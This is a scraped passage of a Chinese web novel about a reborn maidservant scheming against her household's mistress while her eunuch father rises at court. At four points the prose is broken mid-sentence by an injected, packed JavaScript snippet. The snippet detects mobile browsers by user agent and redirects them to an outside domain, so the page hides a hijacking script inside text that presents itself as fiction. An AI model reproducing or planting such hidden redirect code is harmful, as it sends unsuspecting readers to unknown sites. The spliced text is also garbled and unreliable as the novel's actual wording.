“恭喜陛下。”万忠良凑上前,躬身禀话,道:“贺喜陛下,王美人在一刻钟前诞下一位小皇子,老奴贺陛下子嗣繁茂。” 对于膝下儿子不多的刘暻而言,一听着王美人生下皇子。 这歌不听了,舞不赏了。洪福帝刘暻笑道:“王美人有功,当要重赏。” 一听到添儿子的喜事,洪福帝马上挥退了歌姬舞姬们。 此时殿内少了歌舞相助,一时安静下来。此时的洪福帝笑道:“大伴,摆驾。” “朕要亲去瞧一瞧小皇子。”洪福帝对于亲儿子当然关心。 特别是平平安安诞生了的小皇子,皇家嘛,从来不会嫌弃儿子多。 万忠良一听,躬身应话。 帝王出行,当然不止摆了仪驾。还有帝王说的重赏,万忠良当然也得赶紧的安排上。 内廷,后宫。 王美人生了皇子,对于后宫嫔妃当然是天大的事情。对于皇后而言,那更是顶顶重视的。毕竟王美人生产时,皇后亲自在产房外盯着。 等小皇子一降生,皇后立马差人去天子跟前报喜。 宫廷大事小事,万忠良在意着。可万忠良更在意了瞧过健康的小皇子后,天子会心情大好。 小皇子平平安安,其生母王美人得着重赏,不止赏,还是晋位成功。王美人成了九嫔之一,晋位昭仪。 一时间,宫廷之内,欢喜莫名。天子喜,嫔妃当喜,宫人当喜。 万忠良便是凑着这等好时候,等天子赏罢王昭仪,再回转泰和宫后。万忠良在天子跟前巴巴的讲了一回自己的好消息。 “借着陛下庇佑,老奴刚刚也得着喜讯。”万忠良一脸开心样。 “大伴遇喜事,快与朕说说。”刘暻心情甚好,准备听一听大伴的喜事是甚。 刘暻登基为帝十五年,少年天子,五岁坐上龙椅。 这般意气丰发时,帝王对于从小陪伴在近前左右的大伴,那感情基础肯定非常好。 特别是跟外戚联手,斗了权臣,拿回皇权。这里面的弯弯绕绕,那些陈年旧事中,万忠良这一位万大伴更是随洪福帝风里趟,雨里走。 感情深不深,便是要考验。考验一过,那从龙旧臣哪能不得帝心? 万忠良在帝王跟前有情份,洪福帝刘暻乐得关心了近臣心腹。 “陛下,老奴得了下面猢狲的报喜,老奴的亲眷寻到了。”万忠良这时候把亲闺女万珍珠给过了明路。 当然一些顺序得改一改。不过关于亲闺女吃了苦头的些许小事,万忠良只是一笔略过。 天子是天下最尊贵的人物,万忠良的闺女吃苦不吃,这不重要,给天子讲,那未免太是把芝麻大的小事嚷嚷一番了。 至于闺女吃啥苦?在万忠良的心里,家生子,侍候人的活计,那肯定没享福。 没享福,当然就是吃苦了。 万忠良希望的还是提前跟天子留一点印象分。 将来嘛,等亲闺女差人迎回镐京都,到时候再跟天子求了话,求上亿点点的好前程。 谁的前程?当然是万内相的亲闺女万珍珠的前程。 如今是打前站,那是吹吹风。 此时此刻,问洪福帝刘暻的看法。 “朕与大伴,同喜,甚好。”洪福帝替近臣心腹高兴一场。 “大伴,朕准备赏了万家千金一回。”洪福帝刘暻有自己的打算。 自己人嘛,给恩典是必需要的。若不然的话,洪福帝心里不舒坦。 万内相这些年风风火火,那替天子抗的雷,干的活,桩桩件件,天子心头有数的很。 万内相以前没在乎的亲人,天子想赏,那也没有加恩的对象。如今不同了,这万内相有了闺女,这当然就有要赏的人。 “陛下,您待老奴天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047419|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩浩荡。”万忠良赶紧参拜大礼,道:“您的恩情,老奴不能回报万一……” 万忠良的眼中含泪了,没落泪。天子赶紧让其起身。这等时候的万忠良当然是拒绝了天子的重赏。 “奈何老奴的女儿生在民间,不懂礼数。老奴跟陛下提前求个嬷嬷,让其学一学礼数。陛下真要赏,请陛下缓缓,等小女学会规矩后,您再赏不迟。”万忠良当然不会急轰轰的替女儿求赏。 先吹风,那才是硬道理。 镐京都,繁华依旧,热闹非凡。 赵济世一行人还停留于镐京都,齐王世子一行人此来目的嘛,倒也达成了。 大晋朝和大赵朝两国交战,来来回回,大仗小仗无数。 若论成果?当然是有来有回,各有胜各有败。 此回大赵朝目的简单,罢兵,谈和。 对此,大晋洪福帝往前的态度当然是不着急。因为大晋朝前面刚刚迎了一场大胜。 挟大胜,大晋天子正高兴手头有筹码。当然不着急。 这不,一拖再拖,如今两方谈妥,那也是大赵朝给了好处。 大赵朝献公主,将和亲。大晋天子得利益,得美人,这自然是风风光光的把面子里子挣足。 “大哥。”在落脚的官邸内,卢泰山与义兄商量事情。 “这些真要全送回北镇?”卢泰山不是什么猴急的人,更不是什么重乎阿堵物之辈。 卢泰山纯粹是心疼义兄,这可是万内相给的回礼。 礼很重,卢泰山就想义兄留一些体己。也莫要太为难自己了。 “得送回去,北镇的日子艰难,这些送回去也是宽佑了自家兄弟与亲眷。”赵济世的性子,那从来是待自己人宽省的很。 或者说对于义弟们的父母子女,赵济世还是盼着一个好。 如何好?当然是送了立身之本。不止银钱,还得有买来的良田庄子用于耕种。 赵济世跟在齐王世子跟前,能扯的虎皮,那当然可以扯一扯。 再用万内相给的重礼,这是回北镇买了良田庄子以此资助于自家兄弟们的亲眷,赵济世的心头只有高兴。 至于说自己手头紧一紧,再紧张,哪里能紧过了当初刚到燕京都的时候。 反正刚至大赵的燕京都,那时候的拮据,那等苦日子才叫难。 眼下的好日子嘛,赵济世觉得越过越有滋味的很。 良田庄子更是赵济世眼中的根。有田方有粮,有人方有根。 北镇,哪怕离家乡远了。赵济世从来不会想断根。 赵济世只会想家乡更好。或者说自己人更多,前程更广。 在外混,不外乎有势有人。人,那得是自己人。 不可信的人混身边,赵济世觉得才叫遭。自己人提拔起来,拧成一根绳,那就是聚势,势成,前路光明可得。 “咱们兄弟的将来,又岂是这些外物可称量。”赵济世伸手拍一拍自家兄弟的肩膀。 “男儿求前程,手足兄弟们当一体同心,还得是一起共患难,同富贵。”赵济世笑道:“泰山,你是了解哥哥的。风里雨里,求到前程富贵,哥哥从来不独享,咱们要做一辈子的兄弟,自然是同甘共苦。” “弟全听大哥的吩咐。”卢泰山重重点头。 “弟为人愚笨,自然要大哥拿主意。”卢泰山这时候心头只有感动。 瞧瞧好大哥,一有好处,全想着自己人。不为自己享受,那是想着兄弟们的亲眷。这样的好大哥,那哪能不撑了。 永州,郡城,朱府。 此时的夏日,万珍珠在梧桐院里继续当差。当然摸鱼是必需的。 偶尔,万珍珠还会出府。只要能寻着机会出府,她一定出府一趟。 对于前程好日子,万珍珠心中太有数。 也便是这等时候,万珍珠有心情多听一听宋三德给的消息。 特别是关于朱氏一族的黑料,万珍珠太有兴趣知道了。 至于朱府的杨夫人杨婉芯,万珍珠更是关注着。她太想知道这一位夫人的底细。或者说不止是底细,还有把柄。 前世今生,前世的杨夫人给万珍珠的人生做了一个局,那是一辈子的劫难。 万珍珠重活一回,就当然要回报了杨夫人的厚恩呐。若不然的话,万珍珠岂不是白白的死了一遭。 9. 第9章 第9章 “白小娘没了。”万珍珠听着这一个消息时,她一点不惊讶。 白小娘在朱府也是一个人物,多少人奔前程,问朱府里想飞上枝头当凤凰的丫鬟,那可是个个拿着白小娘当目标。 可能在许多丫鬟心里,白小娘就是一个成功人物。 白小娘得了小娘的名份,膝下还有亲闺女朱四姑娘朱小蝶。 “可惜了,白小娘福薄。”万珍珠的耳边又有议论声。这当然是同住一屋里的同事们在议论。 “……”万珍珠没有参加议论,她就在想,白小娘哪里福薄了?明明是命歹,被人埋坑里。 因为一直在抓了杨夫人的把柄嘛,万珍珠可知道弄明白白小娘咋枉死的。 表面看是病死的,实则嘛,那不过是熬日子,熬到现在,真熬不下去了。 煎油一般的熬,再是好人,也得熬得一身骨肉俱消。 后宅内斗,多的是法子磋磨了人。规矩二字,瞧着就是上位者订的。 上位者当然有法子不遵守。可位卑者嘛,那就得被圈圈框框的画进去,挣不开,逃不掉。 这一日,万珍珠算一算日子,她路过西花园一趟。尔后,万珍珠出府了。 白小娘的身后事很简单,朱四姑娘朱小蝶很在意。 至于万珍珠要瞧的,那便是等着将来的一场好戏。 市井之间,一处铺子的后院,朱四姑娘领着心腹丫鬟偷偷见了小舅舅。 这一位朱四姑娘的小舅舅可不是杨氏一族的舅舅。毕竟杨家舅舅,那是朱三姑娘的亲舅舅。 朱小蝶的生母白小娘是外面的小户女。朱小蝶要见的小舅舅,那是血脉相连的舅舅。 说是舅舅,却是与朱小碟同岁。这一位朱四姑娘的小舅舅模样普通,可心气却高。 在他们谈话的隔壁,万珍珠听一回墙角。 “舅舅,小娘去逝,我心头难受。”朱小蝶哭一场。 话说朱四姑娘能顺顺利利的出府,还没有被杨夫人的人给揪着。万珍珠不会承认,她在里面帮衬一回。 前世嘛,朱四姑娘也想见小舅舅,可惜,没成。 朱四姑娘还惹恼了杨夫人,往后,还给自己的出嫁埋了祸根子。 当然,那些是前世会发生的事情。如今,万珍珠插一脚,那剧本当然要重重的改写一笔。 依着万珍珠的本心,杨夫人不开心了,她就挺开心。 帮衬朱四姑娘一回,万珍珠纯粹是顺手。 只要是杨夫人的仇人,万珍珠都会乐得帮衬一把。乃至于朱四姑娘顺顺的挖出来生母白小娘的死,还是怎么死的惨惨淡淡,不声不响,万珍珠也给帮衬一回,让朱四姑娘知道更多的内幕真相。 无名的英雄,不在乎虚名。万珍珠觉得说的就是她。 这等的区区虚名,她就不领了。也免得让人说她是搅屎棍。 对于当一回搅屎棍,万珍珠不介意。搅和一下,大局一变,未尝不可嘛。 “……小娘她委屈。”朱小蝶哭成了泪人儿。一边抽泣着说了府上的一些情况。 这一位朱四姑娘的小舅舅如今有一点前程,却也是朱府提携的。 当然了,自知之明,这一位朱四姑娘的小舅舅是没有的。他可能觉得是自己的能耐。 对于吃姐姐的老本,啃姐姐的骨肉,方才有着一点点的小小前程。 朱四姑娘的小舅舅不会认,他乃堂堂男子汉,当然更觉得自己有本事,怎么会是靠着姐姐的资本。 如今嘛,不过是遵从本心的给外甥女撑腰。 “委屈你了。”这一位庄姓舅舅,瞧着是心疼外甥女的模样。 “只杨家势大,唉。”哪怕没自知之明。可对于杨氏一族的势大,庄舅舅还是心头有数。 对于外甥女可怜归可怜,真是以卵击石,庄舅舅还是干不出来的。 朱小蝶哭成泪人儿,哭得伤心。小娘没了,她在后宅成了无根浮萍。前程握在嫡母手里。 朱小蝶觉得自己太难了。 “舅舅,我就想求您帮衬一回。”朱小蝶当然有自己的想法。 做为朱家女儿,姐姐光彩夺目,做妹妹的哪能没想法?同是朱家女,那肯定一样想着不争馒头争口气。 “舅舅当然帮忙。”庄舅舅一口应下。 隔壁舅甥二人想谋的肯定不止是报仇。至少万珍珠听了半天,便是如此。 白小娘缠绵病榻,杨夫人有手段。可明面上谁都说是白小娘福薄。 没扎实证据,朱氏一族与杨氏一族是姻亲,结两姓之好,那肯定不可能让人三言两语的破坏了大局。 哪怕有一点流言蜚语,朱氏一族也罢,杨氏一族也罢,那只会让流言蜚语消失掉,压一压,让其风流云散。 朱小蝶和庄舅舅想谋划的,那肯定是将来的好处。 步步谋划,毕竟不是一朝一夕的功夫。总得提前一点一点的来。 朱四姑娘还得替生母白小娘守孝,这守孝的时间总会熬过去。 等着熬一熬,这熬掉的不止是时间,还可以洗掉一些动过手脚的痕迹。 天长日久,有些事情想查,那也是不容易的嘛。 在隔壁听一回墙角的万珍珠在心头是有了一本帐。 这一回对朱四姑娘的帮衬,万珍珠就想替杨夫人埋一颗雷。至于将来会怎么爆炸,万珍珠不着急,她就等着。 关于这样的雷,万珍珠准备替杨夫人多埋几颗。 至于亲自跟杨夫人刀对刀,箭对箭,万珍珠不傻。能在后面当了干策划的,她何必在明面动手。 倒不是万珍珠不干脆。纯粹是万珍珠顾念了亲娘要脸,亲娘要面儿,万珍珠这做亲闺女得体谅。 洗清出身,从来都难。 万珍珠的生母牛嬷嬷卖身进朱府做家下人。万珍珠在亲娘肚子里时,她的亲娘就被朱家给买下来。 万珍珠出生后就成了朱府的家生子。 这等身世改不了,或者说朱府挟着这一点在将来肯定容易做文章。 若是两方没明面上的恩恩怨怨,那当然是你好我好,不过些许陈年旧事。 一旦闹腾起来,万珍珠太知道世家大族的份量。 对于容易让亲娘丢脸,给亲爹万忠良挖坑的事情,万珍珠不想干。 反正从宋三德给的资料上看,杨夫人的手一样不干净。 想挖坑,想埋雷,在暗处的万珍珠是大有可为。 想一想,在暗处吃瓜。一旦爆雷,还远远儿的不会被溅一身血。 多好的招,万珍珠当然要用一用。没得埋汰自个,还是亲自上阵的冲锋在前。 阴一点,苟一点,万珍珠好像不介意的。 不听墙角了,万珍珠又见一回宋三德。 “谢谢兄长了。”万珍珠对于宋三德很感谢。 “万姑娘,您太客气。”宋三德待万珍珠很客气。 “兄长不乐意叫一声妹妹吗?”万珍珠问道。 万珍珠已经闹清楚了,这一位镐京都的来客不止是缺了根的太监。那还是亲爹的干儿子。 干爹干儿子,这拜了礼,那关系当然是扯得紧。 万珍珠这人不要脸,亲爹让人唤了干爹。这不,她也认了兄长。反正嘛,这是亲爹拉扯起来的干系,万珍珠当然要认。 “这……”宋三德对于这一位干爹的闺女,那亲切的唤一声“兄长”的事情。问他心里受用不受用? 宋三德听着一声“兄长”时,他受用的很。 这妹妹太贴心了。 对于宋三德而言,来一趟,多一位妹妹,他真是巴不得。这可是多露脸的事情。 让镐京都的那些家伙知道,怕不得嫉妒的一脸血。 “……”宋三德有一点踌躇。奈何他在乎干爹如何想? 干爹肯定在意亲闺女,干爹的亲儿子太多。 这真是一口一个妹子,那会不会扎了干爹的心窝子。宋三德得注意啊。 “……”万珍珠瞧着宋三德的纠结,她的脸上带了伤心神情。 “莫不成兄长不想认了我这一个妹妹?嫌弃我是奴才秧子的出身?”万珍珠一连两问。 这可是重重出击,差一点把宋三德吓一个三魂出窍。 “好妹妹,兄长可担不起这等罪名。”宋三德赶紧给万珍珠见礼。 面前可是干爹万内相的亲闺女,将来一定被内相大人捧了心尖尖上。 宋三德心里清楚,他是何德何能,哪里敢让面前的万珍珠不开心了。 “兄长在这里跟你赔罪。”宋三德拱手做礼。 “兄长既然认我这一个妹妹,自家兄妹之间哪有什么赔罪的道理,太见外了。”万珍珠一下子笑了。 万珍珠笑得开心,少女高兴,展颜自在。这会儿看得宋三德心头一跳,心想,这一位妹妹是人美心善呐,干爹真有福气。 宋三德是一个太监,没了根,或者说不算一个完整的男人。 对于一些事情很敏感,那是一种直觉。太监嘛,在许多人心里,在这一个世道里总归是让人有一点暗戳戳避讳的。 哪怕明面上一些人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047420|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何巴结了。可暗地里被人蛐蛐就一定免不掉的。 宋三德在这一位认下的“妹妹”万珍珠的态度里,那真的察觉不到一点的蔑视。这一位妹妹是平等对待了他,把他宋三德当了兄长。 当然,更主要还是把他宋三德当了一个男人。而不是一个不男不女的怪物。 有些事情不用说,那就是一种直觉。在万珍珠这儿,宋三德体会到了家有小妹的感觉。 这个妹妹,宋三德心头清楚,他认定了。 对于妹妹的将来前程,宋三德也上心的很。至于妹妹想调查的事情,宋三德更不介意开小灶的帮衬了。 镐京都到永州,一封书信急急而来。 不止如此,跟在书信之后的还有大大的队伍。这一行人嘛,那体现的是万内相要给媳妇牛氏和闺女万珍珠做脸用的。 永州,朱府。 家下人房里,万珍珠今个不歇了梧桐院里。她回了自己的出生地。 “你好好的,不在梧桐院里住。你回这做甚?”牛嬷嬷可盼着女儿的前程,什么前程?当然是在三姑娘跟前做了一等大丫鬟的副小姐前程。 “娘。”万珍珠唤一声。 “女儿就想陪一陪您嘛。”万珍珠撒娇。她知道亲娘吃这一套。 “……”牛嬷嬷还真吃,这不,不再叨叨。 只叮嘱一番,让万珍珠往后不可再任性妄为了。人嘛,都已经长大了,还是得成熟点。 这些牛嬷嬷的叮嘱,万珍珠听一听,那肯定没听进去的。 只晚间,母女二人睡一屋时。万珍珠想跟亲娘凑一起睡。 吹了灯,屋里暗了。万珍珠小声问道:“娘,您还记得爹吗?” “……”牛嬷嬷沉默。 良久后,牛嬷嬷才道:“珍珠,你想爹了?” “嗯。”万珍珠应一声。 “咱母女如今的日子很好。珍珠,你爹活着时,那时候的苦日子难熬呐。”牛嬷嬷感慨一回。 对于牛嬷嬷而言,进朱府前跟进朱府后,那真的是两番天地。不可同日而语。 进朱府前,吃不饱穿不暖,做人女儿,做人媳妇子,从来都是不被重视的一个人。于是被忽视的那一个,在家里当然就最容易饿肚子。 进朱府后,吃得饱穿得暖,还是体体面面。可谓是没了以前得干的重活,如今全是手面子与嘴皮子的轻活,特别轻省。 牛嬷嬷觉得偶尔能在家下人跟前炫耀一下,就挺快乐。 牛嬷嬷认为了,她可是三姑娘的奶嬷嬷。在朱府这等富贵人家里,奶嬷嬷还是有一些体面的。 牛嬷嬷一辈子的期盼当然是好好过日子,不奢望旁的。 “……”万珍珠听着亲娘的话,她免不得沉默片刻。 “娘,您想过吗?要是爹得了一场富贵,来寻我们母女俩。你想想……”万珍珠还想叨叨几句。 “瞎想了,不用想,不可能。珍珠,你死心了吧。”牛嬷嬷打断女儿的话。 “你爹当年在一场大洪水后,人都没了。”牛嬷嬷说的肯定。 对于当年的大洪水,那等天灾啊,牛嬷嬷还记着。 万珍珠让亲娘的态度给干的沉默了。良久后,她没听着亲娘的呼噜声。于是又开口问话:“万一呢?” “没万一。”牛嬷嬷还是一如既往的坚定。 “娘,我前些日子听过一个戏曲故事,我给讲讲。”万珍珠又提一话。 “你一个小丫头片子,就爱听一听热闹。”牛嬷嬷的声音里带了笑意。显然对于这一个转移了方向的话题,牛嬷嬷还乐意跟女儿谈一谈。 既然亲娘想谈,万珍珠就讲一讲一个真实的故事。 不是旁的,只是前世的经历化用成了一段戏曲故事。 “娘,您觉得这戏里唱的。那是不是假的啊。哪有人不想闺女认了做大太监的亲爹,还继续做甚的家生子丫鬟?”万珍珠问道。 “有大太监的亲爹做靠山,那多风光。做甚的丫鬟,还不是侍候人的活。”万珍珠见着亲娘不插嘴,她又念叨一番。 “娘……”万珍珠见亲娘不回话。她唤一声,问道:“您睡了?” “没睡。”牛嬷嬷回道。 只是在女儿讲什么大太监时。牛嬷嬷回想了陈年旧事。就这一刻,似乎是在眼前浮现了血红的一片,红的惊人,红的惊心。 太监啊,无根种。亲人就是得了风光,又哪有多少的好风光。 对于女儿万珍珠嘴里的风光,牛嬷嬷不相信的。她亲眼瞧过的,太监的风光啊,从来短暂的很。 10. 第10章 第10章 在亲娘处碰了一鼻子的灰,万珍珠更庆幸自己当初重活一回后,真没急着跟亲娘闹什么坦白局。 凭着亲娘的态度,万珍珠知道如果不是她重活一回。 前世的结局许是就在亲娘的态度里,那也注定了,没得改,改不了。 可万珍珠重活一回,一切又不同,大不同。 对于万珍珠而言,亲娘的意见,她已经问过。既然此路不通,她不再强求。 目前的万珍珠只是等,等镐京都的新来客。说明白点,她在等起风。有一句话怎么说的,好风凭借力,扶摇直上九万里。 站风口上,猪都能飞。万珍珠就在等了她的东风来。 朱府之内,风平浪静。梧桐院里,朱三姑娘朱凤曦的心情非常不错。 因为朱二公子快要成婚了,在这等喜事将近的情况下。朱三姑娘的婚事也是提上日程。 万珍珠是梧桐院的三等丫鬟,她也得着一些风声。 梧桐院,家下人房。 “姑娘要陪夫人去礼佛。真羡慕能陪着姑娘去寺庙里上香的姐姐们。”坠儿嘀咕一回。 此刻是下差后,在梧桐院的家下人房里。万珍珠带耳朵的听一听一屋住的同事们嚼舌根子。 有重活一回的记忆,万珍珠太清楚了。这哪是什么礼佛,这是高门大户的相亲局。 礼佛不可能只礼佛的,主要还是男女双方借一个由头碰面。中不中意,两可之间。不会勉强,高门相亲局主打一个“自愿”的结两姓之好。 在朱府当差已经有几个月了。万珍珠见证了高门的奢华。 同时,亦是见证了一些人的命歹。至于如何命歹了,不过是位卑者嘛,那是小命在上位者的一念之间。 福香的死,匆匆略过,不起一丝波澜。便是福香的家人也不提,就当没有福香这一个人一般样。 除此之外,这几月里,就朱府内,万珍珠都知道消失了几条人命。 几条人命,听听,这人命就论数量,太不值得。一旦论了数量,又如何称量性命之贵? 可能在上位者的眼中,位卑者的命,那就不叫命。 “……” “珍珠,你是不是讨厌我们?你都不爱跟我们一起议事儿。”三等丫鬟梅儿突然提一句话道。 “……”本来同屋住的几人还议论了朱三姑娘礼佛一事。这时候有梅儿的话,话题一下子转移到万珍珠的身上。 先头开心吃瓜,等这瓜落自个身上后。万珍珠神情不变,目光和善,回道:“我不爱说话,对不住,可能容易让大家误会。” 万珍珠态度谦逊,解释一回。这理由嘛,那就是场面话。 安静吃瓜才一直是万珍珠的风格。至于自己登场唱曲儿,万珍珠没兴致。 怎么说呢?万珍珠很怕言多必失这一个词。 万言万当,不如一默。至少在自个的地位没改变前,万珍珠很低调。 如果地位到了,乐子多一点,自个自在点,万珍珠一点不介意。能好好活着,没谁想憋屈。 奈何处于下风时,应该憋着,还得憋着。 真是潇洒一回,不管不顾,万珍珠怕太得瑟的话,就很容易酿成挖坑埋了自个的悲剧。人嘛,一辈子磕磕碰碰的,免不得还是谨慎一些的好。 “梅儿,你听听珍珠的话,你一定是误会珍珠了。”锦儿这会儿解围。 “对对。梅儿,锦儿说的对。”坠儿也附合一回。 搁家生子丫鬟里,万珍珠也算背后有人。于是在三等丫鬟中,只要脑子清醒的,那都愿意跟万珍珠交好。反正大家目前没有利益冲突嘛。 此时此刻,有锦儿、坠儿的你一言我一语,关于万珍珠少言少语,还不怎么合群一事便是略过去。 朱府,内宅,正院。 杨夫人杨婉芯在跟陪房嬷嬷谈话,她道:“一入秋,二郎就要娶亲。算一算,时间真快。” “奴婢恭喜夫人,您很快又要吃一盏媳妇茶。”杨嬷嬷恭维话道:“指定来年,夫人就能抱上一个大胖孙子,府上也要添一位小郎君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047421|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 杨嬷嬷在捧了话,非常捧场。 “嬷嬷这话说在我的心坎上。”杨婉芯的心情不错,似乎赞同了杨嬷嬷的话。 “二郎的婚事,一切章程妥了。眼下就等吉日,等了二郎迎亲。我这儿啊,如今还得先替凤曦操心一回。关乎了凤曦一辈子的终身大事没有一个结果前,我的心里是踏实不了。”杨婉芯又嘀咕一回女儿的婚事。 “夫人,您操心了。三姑娘的婚事,那自然会风风光光。奴婢瞧着三姑娘样样好,那可是多少儿郎盼着求娶的良缘。”杨嬷嬷此时话里话外在配合了杨夫人的意思,还是翻来覆去的夸一夸朱三姑娘朱凤曦。 “罢,罢。等后日去上香后,我就盼着司徒家的郎君能让凤曦中意吧。”杨夫人念叨一回。 后日礼佛,名议上是礼佛。实则是杨夫人跟司徒家夫人一起约好了。到时候由着两家的姑娘与少年郎君相遇一回。 中意不中意,杨夫人对于女儿的心意,那不会强求。 次日,朱府,内宅,正院。 天将大亮,杨夫人刚醒,杨嬷嬷就赶紧凑上前禀话,道:“夫人,天擦亮时,就有贵客递了名贴。” “老爷吩咐,请夫人安排一番。”杨嬷嬷一边禀话时,还是递上一张名贴。 杨夫人拿过,略瞧一眼,她是精神一震。原本有一点睡意,这会儿全被惊醒了。她不困了。 “镐京……”杨夫人念叨二字。 后面的字眼,杨夫人没有念出来。此时,杨夫人脸上的神情很慎重。 “快,嬷嬷,让人侍候我洗漱梳妆。”杨夫人吩咐一句。 杨嬷嬷忙应下差事。尔后,屋内,侍候的丫鬟婆子是一一忙碌起来,忙碌归忙碌,一切都有章程,大家各司其职的替杨夫人梳妆打扮起来。 洗漱后,坐于梳妆镜前,杨婉芯还在思考名贴一事。 镐京都来客,万内相的名头,有意思。就不知来人是善客?还是恶客? 杨婉芯心里琢磨了,瞧着知礼,应该是善客吧。 11. 第11章 第11章 人一旦清醒了,脑子就会回来。杨夫人跟陪嫁嬷嬷吩咐一番话,道:“贵客拜贴收下。这来路为何,却是不知。嬷嬷,你安排人仔细的问一问,查一下。” 杨嬷嬷听着主母的吩咐,忙应承下来。 这一日,万珍珠路过西花园时,有人凑上来递消息。 万珍珠熟悉,心头门儿清楚。这是义兄宋三德安排进朱府的帮衬人手。 对于节度使府里,宋三德应下万珍珠的请求给塞了不少的钉子。 不止一处,只要万珍珠递了话,宋三德一字不落的全照办。 对于有这一位便宜义兄,万珍珠很高兴,又感激。主要是对方太热忱,让万珍珠感受到了有哥哥做主的感觉,那等感觉就很好。 这不,在朱府内,万珍珠如今是耳聪目明。在暗处,她顺道里给杨夫人又多挖了几个坑。这些坑什么时候可能会埋了杨夫人? 万珍珠一点不着急。反正坑在那儿,杨夫人今个不跌进去,明个不跌进去。 往后呢?来日方长嘛。且不着急的。 “姑娘,镐京都来客。”来人禀话,说了镐京来客会登门朱府正式拜访的日子。 “既然拜贴递了,且不急了,我知着消息后,这心里就踏实。”万珍珠点头。 “劳烦递话,替我谢谢义兄。”万珍珠做为心头有数的人,她就真踏实。 一旦有了亲爹的安排,前路无忧。至于亲娘那一边嘛,母女哪有隔夜仇,万珍珠哄一哄,就会哄好。 因为万珍珠知道亲娘心疼女儿,总不会跟她真个计较的。 这一日的晚间。朱府内宅,正院寝屋。 杨夫人听过杨嬷嬷的一番禀话,听罢后,她讲道:“这般说来,凤曦的奶嬷嬷牛氏倒有一番造化了。” “奴婢花了重金撬开一些人的嘴,目前打探到的就这些。夫人,您瞧,可是要提前交好了那一位好运道的牛嬷嬷。不求旁的,只求对方有一点良心,还记着夫人的好,记得府上的善意。”杨嬷嬷忙问道。 “将要发迹,富贵无双。”杨夫人感慨一回,道:“真可谓是命运无常。交好吗?” 这会儿杨夫人的态度是迟疑起来。她似乎在衡量什么,又思考片刻后,问道:“嬷嬷,我没记错的话,牛嬷嬷好似对于没了根的太监没好印象吧。” “夫人,您没记错。”杨嬷嬷忙讲了陈年旧事。 当年的牛嬷嬷还不是朱三姑娘朱凤曦的奶嬷嬷,只是一个闺名叫牛二囡的村妇。 得了朱府的恩典,牛二囡卖身进朱府。那时候的节度使朱瑞还没到永州上任。 彼时,镐京都一场宫廷政变,一些旧势力输了,投子认输又如何?成王败寇,当然会落一个被清洗的下场。 皮之不存,毛将附焉? 一个大太监倒下的背后,那注定是一系背靠了皇权的势力倒下。 一个大太监代表的从来不止是他自个一人,还有他背后一系列的利益。他只是台面上的人物。 在台面下,那还有无数的利益纠葛。同时,不止是宗族,还有他这一派系的人马,那会复杂的掺和着。 有一句话怎么说呢?花无百日红,人无千日好。 太监自己没根,可他有亲族家人。太监倒台后,亲族家人会落什么收场?这就难说。 当年闹得沸沸扬扬的一场大戏,杨夫人没瞧着,可听过几耳朵。 那一位赵太监倒台后,他的亲族家人可惨了。主要是赵太监掌权的时候威风归威风,得罪的人太多了,太狠了。 一旦谢幕了,他的近亲家人里,特别是一些女眷的下场真惨。 落入下流地,生死不由己。这都小事。一些被做贱的,那真是死死生生,活着比死了还惨。 牛嬷嬷做朱凤曦的奶嬷嬷前就大病过一场。据说就是撞克了。 如何撞克的,听说好像便是亲眼瞧过一回,那落入下流地的赵太监家的女眷死得如何凄凄惨惨。 这一个世道里,宗族家眷从来一荣俱荣,一损俱损。不止说说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047422|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的是一人得道,鸡犬升天。 一旦一人犯了大事,三族消消乐和九族消消乐等都是明牌。 “嬷嬷,你附耳过来,我吩咐一桩事情。”杨夫人有交代。她拿了主意,准备试试水深。 杨嬷嬷赶紧凑上前,忙仔细听了主母的吩咐。 朱府内宅。 牛嬷嬷当差从来都轻省,有奶嬷嬷的身份占优势。牛嬷嬷觉得在朱府的日子,从来舒坦着。 牛嬷嬷不止一回私下感慨,在朱府享福,这才是人过的好日子。 